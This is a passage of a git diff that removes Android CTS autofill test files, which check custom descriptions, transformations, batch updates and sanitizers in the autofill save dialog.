-    @Test
-    public void testSaveSameValue_usingSanitization() throws Exception {
-        sanitizationTest(true);
-    }
-
-    @Test
-    public void testSaveSameValue_withoutSanitization() throws Exception {
-        sanitizationTest(false);
-    }
-
-    private void sanitizationTest(boolean withSanitization) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Calendar cal = Calendar.getInstance();
-        cal.clear();
-        cal.set(Calendar.YEAR, 2012);
-        cal.set(Calendar.MONTH, Calendar.DECEMBER);
-
-        // Set expectations.
-
-        // NOTE: ID_OUTPUT is used to trigger autofill, but it's value will be automatically
-        // changed, hence we need to set the expected value as the formated one. Ideally
-        // we shouldn't worry about that, but that would require creating a new activitiy with
-        // a custom edit text that uses date autofill values...
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("The end of the world"))
-                        .setField(ID_OUTPUT, "2012/11/25")
-                        .setField(ID_DATE_PICKER, cal.getTimeInMillis())
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER);
-
-        if (withSanitization) {
-            response.setSaveInfoVisitor((contexts, builder) -> {
-                final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_DATE_PICKER);
-                builder.addSanitizer(new DateValueSanitizer(new SimpleDateFormat("MM/yyyy")), id);
-            });
-        }
-        sReplier.addResponse(response.build());
-
-        // Trigger autofill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The end of the world");
-
-        // Manually set same values as dataset.
-        mActivity.onOutput((v) -> v.setText("whatever"));
-        mActivity.setDate(2012, Calendar.DECEMBER, 25);
-        mActivity.tapOk();
-
-        // Verify save behavior.
-        if (withSanitization) {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-        } else {
-            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        }
-    }
-
-    private RemoteViews newTemplate(int resourceId) {
-        return new RemoteViews(getContext().getPackageName(), resourceId);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionHelper.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionHelper.java
deleted file mode 100644
index 5fc33e7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionHelper.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import android.service.autofill.CustomDescription;
-import android.widget.RemoteViews;
-
-public final class CustomDescriptionHelper {
-
-    public static final String ID_SHOW = "show";
-    public static final String ID_HIDE = "hide";
-    public static final String ID_USERNAME_PLAIN = "username_plain";
-    public static final String ID_USERNAME_MASKED = "username_masked";
-    public static final String ID_PASSWORD_PLAIN = "password_plain";
-    public static final String ID_PASSWORD_MASKED = "password_masked";
-
-    private static final String sPackageName =
-            getInstrumentation().getTargetContext().getPackageName();
-
-
-    public static CustomDescription.Builder newCustomDescriptionWithUsernameAndPassword() {
-        return new CustomDescription.Builder(new RemoteViews(sPackageName,
-                R.layout.custom_description_with_username_and_password));
-    }
-
-    public static CustomDescription.Builder newCustomDescriptionWithHiddenFields() {
-        return new CustomDescription.Builder(new RemoteViews(sPackageName,
-                R.layout.custom_description_with_hidden_fields));
-    }
-
-    private CustomDescriptionHelper() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
deleted file mode 100644
index 0c6792d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
+++ /dev/null
@@ -1,642 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.FillContext;
-import android.service.autofill.ImageTransformation;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.TextValueSanitizer;
-import android.service.autofill.Validator;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.Test;
-
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
-@AppModeFull(reason = "Service-specific test")
-public class CustomDescriptionTest extends AbstractLoginActivityTestCase {
-
-    /**
-     * Base test
-     *
-     * @param descriptionBuilder method to build a custom description
-     * @param uiVerifier         Ran when the custom description is shown
-     */
-    private void testCustomDescription(
-            @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
-            @Nullable Runnable uiVerifier) throws Exception {
-        enableService();
-
-        // Set response with custom description
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.setCustomDescription(descriptionBuilder.apply(usernameId, passwordId));
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("usernm"));
-        mActivity.onPassword((v) -> v.setText("passwd"));
-        mActivity.tapLogin();
-
-        if (uiVerifier != null) {
-            uiVerifier.run();
-        }
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        sReplier.getNextSaveRequest();
-    }
-
-    @Test
-    public void testSanitizationBeforeBatchUpdates() throws Exception {
-        enableService();
-
-        // Set response with custom description
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final RemoteViews presentation =
-                            newTemplate(R.layout.two_horizontal_text_fields);
-
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-
-                    // Validator for sanitization
-                    final Validator validCondition =
-                            new RegexValidator(usernameId, Pattern.compile("user"));
-
-                    final RemoteViews update = newTemplate(-666); // layout id not really used
-                    update.setTextViewText(R.id.first, "batch updated");
-
-                    final CustomDescription customDescription = new CustomDescription
-                            .Builder(presentation)
-                            .batchUpdate(validCondition,
-                                    new BatchUpdates.Builder().updateTemplate(update).build())
-                            .build();
-                    builder
-                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
-                                usernameId)
-                        .setCustomDescription(customDescription);
-
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
-        mActivity.tapLogin();
-
-        assertSaveUiIsShownWithTwoLines("batch updated");
-    }
-
-    @Test
-    public void testSanitizationBeforeTransformations() throws Exception {
-        enableService();
-
-        // Set response with custom description
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final RemoteViews presentation =
-                            newTemplate(R.layout.two_horizontal_text_fields);
-
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-
-                    // Transformation
-                    final CharSequenceTransformation trans = new CharSequenceTransformation
-                            .Builder(usernameId, Pattern.compile("user"), "transformed")
-                            .build();
-
-                    final CustomDescription customDescription = new CustomDescription
-                            .Builder(presentation)
-                            .addChild(R.id.first, trans)
-                            .build();
-                    builder
-                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
-                                usernameId)
-                        .setCustomDescription(customDescription);
-
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
-        mActivity.tapLogin();
-
-        assertSaveUiIsShownWithTwoLines("transformed");
-    }
-
-    @Test
-    public void validTransformation() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans1 = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                    .build();
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans2 = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"),
-                    R.drawable.android).build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans1)
-                    .addChild(R.id.img, trans2)
-                    .build();
-        }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
-    }
-
-    @Test
-    public void validTransformationWithOneTemplateUpdate() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans1 = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                    .build();
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans2 = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"),
-                    R.drawable.android).build();
-            RemoteViews update = newTemplate(0); // layout id not really used
-            update.setViewVisibility(R.id.second, View.GONE);
-            Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans1)
-                    .addChild(R.id.img, trans2)
-                    .batchUpdate(condition,
-                            new BatchUpdates.Builder().updateTemplate(update).build())
-                    .build();
-        }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
-    }
-
-    @Test
-    public void validTransformationWithMultipleTemplateUpdates() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
-                    Pattern.compile("(.*)"), "$1")
-                            .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                            .build();
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
-                    Pattern.compile(".*"), R.drawable.android)
-                    .build();
-
-            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
-            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
-
-            // Line 1 updates
-            RemoteViews update1 = newTemplate(666); // layout id not really used
-            update1.setContentDescription(R.id.first, "First am I"); // valid
-            RemoteViews update2 = newTemplate(0); // layout id not really used
-            update2.setViewVisibility(R.id.first, View.GONE); // invalid
-
-            // Line 2 updates
-            RemoteViews update3 = newTemplate(-666); // layout id not really used
-            update3.setTextViewText(R.id.second, "First of his second name"); // valid
-            RemoteViews update4 = newTemplate(0); // layout id not really used
-            update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans1)
-                    .addChild(R.id.img, trans2)
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update1).build())
-                    .batchUpdate(invalidCondition,
-                            new BatchUpdates.Builder().updateTemplate(update2).build())
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update3).build())
-                    .batchUpdate(invalidCondition,
-                            new BatchUpdates.Builder().updateTemplate(update4).build())
-                    .build();
-        }, () -> assertSaveUiWithLinesIsShown(
-                (line1) -> assertWithMessage("Wrong content description for line1")
-                        .that(line1.getContentDescription()).isEqualTo("First am I"),
-                (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
-                        .isEqualTo("First of his second name"),
-                null));
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_noConditionPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
-    }
-
-    private enum BatchUpdatesConditionType {
-        NONE_PASS,
-        SECOND_PASS,
-        THIRD_PASS,
-        ALL_PASS
-    }
-
-    /**
-     * Tests a custom description that has 3 transformations, one applied directly and the other
-     * 2 in batch updates.
-     *
-     * @param conditionsType defines which batch updates conditions will pass.
-     */
-    private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
-            throws Exception {
-
-        final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
-                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
-        final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
-                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
-
-        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
-                .that(line1.getText()).isEqualTo("L1-u");
-
-        final Visitor<UiObject2> line2Visitor;
-        if (line2Pass) {
-            line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
-                    .that(line2.getText()).isEqualTo("L2-u");
-        } else {
-            line2Visitor = null;
-        }
-
-        final Visitor<UiObject2> line3Visitor;
-        if (line3Pass) {
-            line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
-                    .that(line3.getText()).isEqualTo("L3-p");
-        } else {
-            line3Visitor = null;
-        }
-
-        testCustomDescription((usernameId, passwordId) -> {
-            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
-            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
-            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
-
-            final RemoteViews presentation =
-                    newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
-
-            final CharSequenceTransformation line1Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
-                        .build();
-
-            final CharSequenceTransformation line2Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
-                        .build();
-            final RemoteViews line2Updates = newTemplate(666); // layout id not really used
-            line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
-
-            final CharSequenceTransformation line3Transformation =
-                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
-                        .build();
-            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
-            line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, line1Transformation)
-                    .batchUpdate(line2Pass ? validCondition : invalidCondition,
-                            new BatchUpdates.Builder()
-                            .transformChild(R.id.second, line2Transformation)
-                            .updateTemplate(line2Updates)
-                            .build())
-                    .batchUpdate(line3Pass ? validCondition : invalidCondition,
-                            new BatchUpdates.Builder()
-                            .transformChild(R.id.third, line3Transformation)
-                            .updateTemplate(line3Updates)
-                            .build())
-                    .build();
-        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
-    }
-
-    @Test
-    public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
-
-        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
-                .that(line1.getText()).isEqualTo("L1-u");
-        final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
-                .that(line2.getText()).isEqualTo("L2-u");
-        final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
-                .that(line3.getText()).isEqualTo("L3-p");
-
-        testCustomDescription((usernameId, passwordId) -> {
-            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
-            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
-
-            final RemoteViews presentation =
-                    newTemplate(R.layout.two_horizontal_text_fields);
-
-            final CharSequenceTransformation line1Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
-                        .build();
-
-            final CharSequenceTransformation line2Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
-                        .build();
-
-            final CharSequenceTransformation line3Transformation =
-                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
-                        .build();
-            final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
-            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
-            line3Updates.addView(R.id.parent, line3Presentation);
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, line1Transformation)
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder()
-                            .transformChild(R.id.second, line2Transformation)
-                            .build())
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder()
-                            .updateTemplate(line3Updates)
-                            .transformChild(R.id.third, line3Transformation)
-                            .build())
-                    .build();
-        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
-    }
-
-    @Test
-    public void badImageTransformation() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans = new ImageTransformation.Builder(usernameId,
-                    Pattern.compile(".*"), 1).build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.img, trans)
-                    .build();
-        }, () -> assertSaveUiWithCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void unusedImageTransformation() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.img, trans)
-                    .build();
-        }, () -> assertSaveUiWithCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void applyImageTransformationToTextView() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void failFirstFailAll() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$42")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void failSecondFailAll() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void applyCharSequenceTransformationToImageView() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.img, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    // Set response with custom description
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-                    final CharSequenceTransformation firstTrans = new CharSequenceTransformation
-                            .Builder(usernameId, Pattern.compile("(marco)"), "polo")
-                            .build();
-                    final CharSequenceTransformation secondTrans = new CharSequenceTransformation
-                            .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
-                            .build();
-                    final RemoteViews presentation =
-                            newTemplate(R.layout.two_horizontal_text_fields);
-                    final CustomDescription customDescription =
-                            new CustomDescription.Builder(presentation)
-                            .addChild(R.id.first, firstTrans)
-                            .addChild(R.id.first, secondTrans)
-                            .build();
-                    builder.setCustomDescription(customDescription);
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        final String username = matchFirst ? "marco" : "MARCO";
-        mActivity.onUsername((v) -> v.setText(username));
-        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
-        mActivity.tapLogin();
-
-        final String expectedText = matchFirst ? "polo" : "POLO";
-        assertSaveUiIsShownWithTwoLines(expectedText);
-    }
-
-    @Test
-    public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
-        multipleTransformationsForSameFieldTest(true);
-    }
-
-    @Test
-    public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
-        multipleTransformationsForSameFieldTest(false);
-    }
-
-    private RemoteViews newTemplate(int resourceId) {
-        return new RemoteViews(getContext().getPackageName(), resourceId);
-    }
-
-    private UiObject2 assertSaveUiShowing() {
-        try {
-            return mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    private void assertSaveUiWithoutCustomDescriptionIsShown() {
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = assertSaveUiShowing();
-
-        // Then make sure it does not have the custom view on it.
-        assertWithMessage("found static_text on SaveUI (%s)", mUiBot.getChildrenAsText(saveUi))
-            .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
-    }
-
-    private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = assertSaveUiShowing();
-
-        // Then make sure it does have the custom view on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
-        assertThat(staticText).isNotNull();
-        assertThat(staticText.getText()).isEqualTo("YO:");
-
-        return saveUi;
-    }
-
-    /**
-     * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
-     * invisible), but only {@code first} has text.
-     */
-    private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
-        return assertSaveUiWithLinesIsShown(
-                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
-                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
-                (line2) -> assertWithMessage("Wrong text for child with id 'second'")
-                        .that(line2.getText()).isNull(),
-                null);
-    }
-
-    /**
-     * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
-     * invisible).
-     */
-    private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
-        assertSaveUiWithLinesIsShown(
-                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
-                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
-                null, null);
-    }
-
-    private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
-            @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
-        final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
-        mUiBot.assertChild(saveUi, "first", line1Visitor);
-        mUiBot.assertChild(saveUi, "second", line2Visitor);
-        mUiBot.assertChild(saveUi, "third", line3Visitor);
-        return saveUi;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
deleted file mode 100644
index dd3c5b9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.InternalOnClickAction;
-import android.service.autofill.InternalTransformation;
-import android.service.autofill.InternalValidator;
-import android.service.autofill.OnClickAction;
-import android.service.autofill.Transformation;
-import android.service.autofill.Validator;
-import android.util.SparseArray;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class CustomDescriptionUnitTest {
-
-    private final CustomDescription.Builder mBuilder =
-            new CustomDescription.Builder(mock(RemoteViews.class));
-    private final BatchUpdates mValidUpdate =
-            new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
-    private final Transformation mValidTransformation = mock(InternalTransformation.class);
-    private final Validator mValidCondition = mock(InternalValidator.class);
-    private final OnClickAction mValidAction = mock(InternalOnClickAction.class);
-
-    @Test
-    public void testNullConstructor() {
-        assertThrows(NullPointerException.class, () ->  new CustomDescription.Builder(null));
-    }
-
-    @Test
-    public void testAddChild_null() {
-        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addChild(42, null));
-    }
-
-    @Test
-    public void testAddChild_invalidImplementation() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.addChild(42, mock(Transformation.class)));
-    }
-
-    @Test
-    public void testBatchUpdate_nullCondition() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.batchUpdate(null, mValidUpdate));
-    }
-
-    @Test
-    public void testBatchUpdate_invalidImplementation() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
-    }
-
-    @Test
-    public void testBatchUpdate_nullUpdates() {
-        assertThrows(NullPointerException.class,
-                () ->  mBuilder.batchUpdate(mValidCondition, null));
-    }
-
-    @Test
-    public void testSetOnClickAction_null() {
-        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addOnClickAction(42, null));
-    }
-
-    @Test
